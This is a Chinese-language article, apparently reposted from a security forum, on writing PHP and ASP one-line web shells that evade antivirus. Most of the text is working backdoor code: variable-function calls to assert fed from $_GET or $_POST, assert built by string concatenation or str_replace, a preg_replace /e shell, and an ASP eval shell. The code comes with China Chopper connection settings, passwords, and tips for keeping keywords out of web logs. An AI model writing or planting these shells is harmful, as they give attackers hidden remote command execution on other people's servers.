关于php一句话免杀的分析

一开始想这样:

<?php $_GET[‘ts7’]($_POST[‘cmd’]);?>
客户端用菜刀,密码cmd,url为test.php?ts7=assert

这个应该算没有什么特征码了,但是缺点就是在web日志中会暴露出来assert

可以都用post:

<?php $_POST[‘ts7’]($_POST[‘cmd’]);?>
在菜刀说明用<O>ts7=assert</O>post附加数据.

这中间考虑了这些:

<?php  $ts7 = (string)key($_POST);  $ts7($_POST[’assert’]);  ?>
猛然发现assert这个关键词又出现了。。
既然字符串可以直接这样用,那还可以这样:

<?php  $a = “a”.”s”.”s”.”e”.”r”.”t”;  $a($_POST[“cmd”]);  ?>
或者用

$a = str_replace(x,””,axsxxsxexrxxt)
以上说来,感觉

<?php $_POST[‘ts7’]($_POST[‘cmd’]);?>
算是最难查到的一种了。

==========================

ywisax 在论坛上又发了这个:
不知是谁写的 百度了一堆 都没写出处,貌似是lcx写的:

asp版的,这是utf-8编码,自己看着弄吧

<”CODEPAGE=”65001″%>  <%  var lcx = {‘名字’: Request.form(‘#’), ‘性别’: eval, ‘年龄’: ‘18′, ‘昵称’: ‘请叫我一声老大’};  lcx.性别((lcx.名字)+”);  %>  用冰狐就行了

<?php   @preg_replace(“/[email]/e”,$_POST[‘h’],”error”);   ?>

菜刀附加数据:
<O>h=@eval($_POST

[c][/c]

);</O>

[email]和error你看着换吧,怎么隐蔽怎么来
密码c

本文转自红黑联盟由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理。